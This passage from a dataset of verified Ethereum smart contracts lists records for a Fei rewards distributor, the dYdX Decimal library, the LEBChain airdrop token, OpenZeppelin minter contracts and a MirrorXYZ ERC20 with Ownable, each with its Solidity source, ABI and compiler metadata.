nt256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"core","type":"address"}],"name":"setCore","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequency","type":"uint256"}],"name":"setDripFrequency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_incentiveAmount","type":"uint256"}],"name":"setIncentiveAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_stakingContract","type":"address"}],"name":"setStakingContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakingContract","outputs":[{"internalType":"contract IStakingRewards","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"timeSinceStart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tribe","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tribeBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unpause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unreleasedReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.6+commit.6c089d02 | true | 200 | 0000000000000000000000008d5ed43dca8c2f7dfb20cf7b53cc7e593635d7b900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c267000000000000000000000000000000000000000000000000000000000000093a8000000000000000000000000000000000000000000000001b1ae4d6e2ef500000 | Default | Unknown | false | ipfs://e692bda55bd61f4be2f53e09ffb0c49a89afc857497254a0b486233140457e78 |
||
FeiRewardsDistributor | ./contracts/external/Decimal.sol | 0xef1a94af192a88859eaf3f3d8c1b9705542174c5 | Solidity | /*
Copyright 2019 dYdX Trading Inc.
Copyright 2020 Empty Set Squad <emptysetsquad@protonmail.com>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./SafeMathCopy.sol";
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMathCopy for uint256;
// ============ Constants ============
uint256 private constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Static Functions ============
function zero()
internal
pure
returns (D256 memory)
{
return D256({ value: 0 });
}
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function from(
uint256 a
)
internal
pure
returns (D256 memory)
{
return D256({ value: a.mul(BASE) });
}
function ratio(
uint256 a,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(a, BASE, b) });
}
// ============ Self Functions ============
function add(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE)) });
}
function sub(
D256 memory self,
uint256 b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.mul(BASE), reason) });
}
function mul(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.mul(b) });
}
function div(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.div(b) });
}
function pow(
D256 memory self,
uint256 b
)
internal
pure
returns (D256 memory)
{
if (b == 0) {
return from(1);
}
D256 memory temp = D256({ value: self.value });
for (uint256 i = 1; i < b; i++) {
temp = mul(temp, self);
}
return temp;
}
function add(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.add(b.value) });
}
function sub(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value) });
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
)
internal
pure
returns (D256 memory)
{
return D256({ value: self.value.sub(b.value, reason) });
}
function mul(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, b.value, BASE) });
}
function div(
D256 memory self,
D256 memory b
)
internal
pure
returns (D256 memory)
{
return D256({ value: getPartial(self.value, BASE, b.value) });
}
function equals(D256 memory self, D256 memory b) internal pure returns (bool) {
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b) internal pure returns (bool) {
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ Core Methods ============
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
private
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
function compareTo(
D256 memory a,
D256 memory b
)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
} | 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||
LEBChain | LEBChain.sol | 0x157074c3edb43ec1025c318f21d0e4051199b5f5 | Solidity | pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool) ;
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract LEBChain is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Le Token";
string public constant symbol = "LEB";
uint public constant decimals = 18;
uint256 public totalSupply = 2000000000e18;
uint256 public totalDistributed = 2000000000e18;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
constructor () public {
owner = msg.sender;
value = 100e18;
//distr(owner, totalDistributed);
balances[owner] += totalDistributed;
emit Transfer(address(0), owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 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| v0.4.25+commit.59dbf8f1 | false | 200 | Default | false | bzzr://163b83fe8fe92292da81e901823d8ae555aae135aa68d98a491d14006042ee08 |
||||
TokenMintERC20MintableToken | contracts\open-zeppelin-contracts\access\roles\MinterRole.sol | 0x4c3674a0ea24cb7601b2bee98f75d30c7dc96a7a | Solidity | pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"sender","type":"address"},{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"},{"name":"amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newMinter","type":"address"}],"name":"transferMinterRole","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"initialSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000003d646e7fce98cdd1909c00000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f42000000000000000000000000eaf76671605a50bedcb79f223dfc5339c14a73ff000000000000000000000000000000000000000000000000000000000000000a5a45455020546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045a45455000000000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://095c70e0e2968d5fe414cfb939e2468a48fec00ebdde1c694d8ba04abc987ab9 |
||
TokenMintERC20MintableToken | contracts\open-zeppelin-contracts\token\ERC20\ERC20Mintable.sol | 0x4c3674a0ea24cb7601b2bee98f75d30c7dc96a7a | Solidity | pragma solidity ^0.5.0;
/**
* @dev Extension of `ERC20` that adds a set of accounts with the `MinterRole`,
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev See `ERC20._mint`.
*
* Requirements:
*
* - the caller must have the `MinterRole`.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"sender","type":"address"},{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"},{"name":"amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renounceMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isMinter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newMinter","type":"address"}],"name":"transferMinterRole","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"name","type":"string"},{"name":"symbol","type":"string"},{"name":"decimals","type":"uint8"},{"name":"initialSupply","type":"uint256"},{"name":"feeReceiver","type":"address"},{"name":"tokenOwnerAddress","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"account","type":"address"}],"name":"MinterRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.0+commit.1d4f565a | false | 200 | 00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000003d646e7fce98cdd1909c00000000000000000000000000006603cb70464ca51481d4edbb3b927f66f53f4f42000000000000000000000000eaf76671605a50bedcb79f223dfc5339c14a73ff000000000000000000000000000000000000000000000000000000000000000a5a45455020546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045a45455000000000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://095c70e0e2968d5fe414cfb939e2468a48fec00ebdde1c694d8ba04abc987ab9 |
||
ERC20 | contracts/lib/ERC20/ERC20.sol | 0x4600f923f53138092b436af3e7bb6fc080c98e51 | Solidity | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.10;
import {Ownable} from "../../lib/Ownable.sol";
import {IERC20Events, IERC20} from "./interface/IERC20.sol";
/**
* @title ERC20
* @notice EIP-20 (https://eips.ethereum.org/EIPS/eip-20) implementation with EIP-2612
* (https://eips.ethereum.org/EIPS/eip-2612) support, as well as mint and burn functionality.
* @author MirrorXYZ
*/
contract ERC20 is Ownable, IERC20, IERC20Events {
/// @notice Separator used for permit
/// @dev keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)")
bytes32 public constant override PERMIT_TYPEHASH =
0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/// @notice Token total supply
uint256 public override totalSupply;
/// @notice Token name
string public override name;
/// @notice Token symbol
string public override symbol;
/// @notice Token decimals
uint8 public override decimals;
/// @notice Token balance
mapping(address => uint256) public override balanceOf;
/// @notice Token allowance
mapping(address => mapping(address => uint256)) public override allowance;
/// @notice Separator used on permit
bytes32 public override DOMAIN_SEPARATOR;
/// @notice Nonces used on permit
mapping(address => uint256) public override nonces;
/// @notice Token burn status
bool public burnable;
/// @notice Factory that deploys clones
address public immutable factory;
modifier ifBurnable() {
require(burnable, "ERC20: cannot burn");
_;
}
/// @dev Ownable parameter is irrelevant since this is a logic file.
constructor(address factory_) Ownable(address(0)) {
factory = factory_;
}
/// @notice Set initial parameters, mint initial supply to owner and set the owner.
/// @dev Only callable by the factory
/// @param owner_ The owner of the token contract
/// @param name_ The name of the token
/// @param symbol_ The symbol of the token
/// @param totalSupply_ The totalSupply of the token
/// @param decimals_ The decimals of the token
function initialize(
address owner_,
string memory name_,
string memory symbol_,
uint256 totalSupply_,
uint8 decimals_
) external override returns (address) {
// ensure that this function is only callable by the factory
require(msg.sender == factory, "unauthorized caller");
// set owner
_setOwner(address(0), owner_);
// set metadata
name = name_;
symbol = symbol_;
decimals = decimals_;
// mint initial supply
_mint(owner_, totalSupply_);
// generate domain separator
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name_)),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
// set burn status
burnable = false;
return address(this);
}
/// @notice Change burn status, only callable by the owner.
/// @param canBurn The burn status of the token
function setBurnable(bool canBurn) external override onlyOwner {
burnable = canBurn;
}
// ============ ERC-20 Methods ============
/// @notice Approve `spender` to transfer up to `value` from `msg.sender`
/// @dev This will overwrite the approval value for `spender`
/// and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
/// @param spender The address of the account which may transfer tokens
/// @param value The number of tokens that are approved
/// @return Whether or not the approval succeeded
function approve(address spender, uint256 value)
external
override
returns (bool)
{
_approve(msg.sender, spender, value);
return true;
}
/// @notice Transfer `value` tokens from `msg.sender` to `to`
/// @param to The address of the destination account
/// @param value The number of tokens to transfer
/// @return Whether or not the transfer succeeded
function transfer(address to, uint256 value)
external
override
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
/// @notice Transfer `value` tokens from `from` to `to`
/// @param from The address of the source account
/// @param to The address of the destination account
/// @param value The number of tokens to transfer
/// @return Whether or not the transfer succeeded
function transferFrom(
address from,
address to,
uint256 value
) external override returns (bool) {
if (allowance[from][msg.sender] != type(uint256).max) {
allowance[from][msg.sender] -= value;
}
_transfer(from, to, value);
return true;
}
/// @notice Triggers an approval from `_owner` to `spender`
/// @param _owner The address to approve from
/// @param spender The address to be approved
/// @param value The number of tokens that are approved (2^256-1 means infinite)
/// @param deadline The time at which to expire the signature
/// @param v The recovery byte of the signature
/// @param r Half of the ECDSA signature pair
/// @param s Half of the ECDSA signature pair
function permit(
address _owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(deadline >= block.timestamp, "ERC20: EXPIRED");
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
_owner,
spender,
value,
nonces[_owner]++,
deadline
)
)
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(
recoveredAddress != address(0) && recoveredAddress == _owner,
"ERC20: INVALID_SIGNATURE"
);
_approve(_owner, spender, value);
}
/// @notice Burn `value` from `msg.sender`'s balance
/// @dev Throws when the token is not burnable
/// @param value The value to burn
function burn(uint256 value) external override ifBurnable {
_burn(msg.sender, value);
}
/// @notice Mint `value` tokens to `to`
/// @dev Only callable by the owner, throws otherwise
/// @param to The account to mint tokens to
/// @param value The number of tokens to mint
function mint(address to, uint256 value) external override onlyOwner {
_mint(to, value);
}
// ============ Internal Methods ============
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0), "ERC20: transfer to the zero address");
balanceOf[from] -= value;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += value;
}
emit Transfer(from, to, value);
}
function _mint(address to, uint256 value) internal {
require(to != address(0), "ERC20: mint to the zero address");
totalSupply += value;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += value;
}
emit Transfer(address(0), to, value);
}
function _approve(
address _owner,
address spender,
uint256 value
) internal {
allowance[_owner][spender] = value;
emit Approval(_owner, spender, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] -= value;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= value;
}
emit Transfer(from, address(0), value);
}
} | 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| v0.8.10+commit.fc410830 | true | 2,000 | 000000000000000000000000fdaef6d6ac99243b80643730badaec4171118fd9 | Default | false | ||||
ERC20 | contracts/lib/Ownable.sol | 0x4600f923f53138092b436af3e7bb6fc080c98e51 | Solidity | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.10;
interface IOwnableEvents {
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
}
contract Ownable is IOwnableEvents {
address public owner;
address private nextOwner;
// modifiers
modifier onlyOwner() {
require(isOwner(), "caller is not the owner.");
_;
}
modifier onlyNextOwner() {
require(isNextOwner(), "current owner must set caller as next owner.");
_;
}
/**
* @dev Initialize contract by setting transaction submitter as initial owner.
*/
constructor(address owner_) {
owner = owner_;
emit OwnershipTransferred(address(0), owner);
}
/**
* @dev Initiate ownership transfer by setting nextOwner.
*/
function transferOwnership(address nextOwner_) external onlyOwner {
require(nextOwner_ != address(0), "Next owner is the zero address.");
nextOwner = nextOwner_;
}
/**
* @dev Cancel ownership transfer by deleting nextOwner.
*/
function cancelOwnershipTransfer() external onlyOwner {
delete nextOwner;
}
/**
* @dev Accepts ownership transfer by setting owner.
*/
function acceptOwnership() external onlyNextOwner {
delete nextOwner;
owner = msg.sender;
emit OwnershipTransferred(owner, msg.sender);
}
/**
* @dev Renounce ownership by setting owner to zero address.
*/
function renounceOwnership() external onlyOwner {
_renounceOwnership();
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == owner;
}
/**
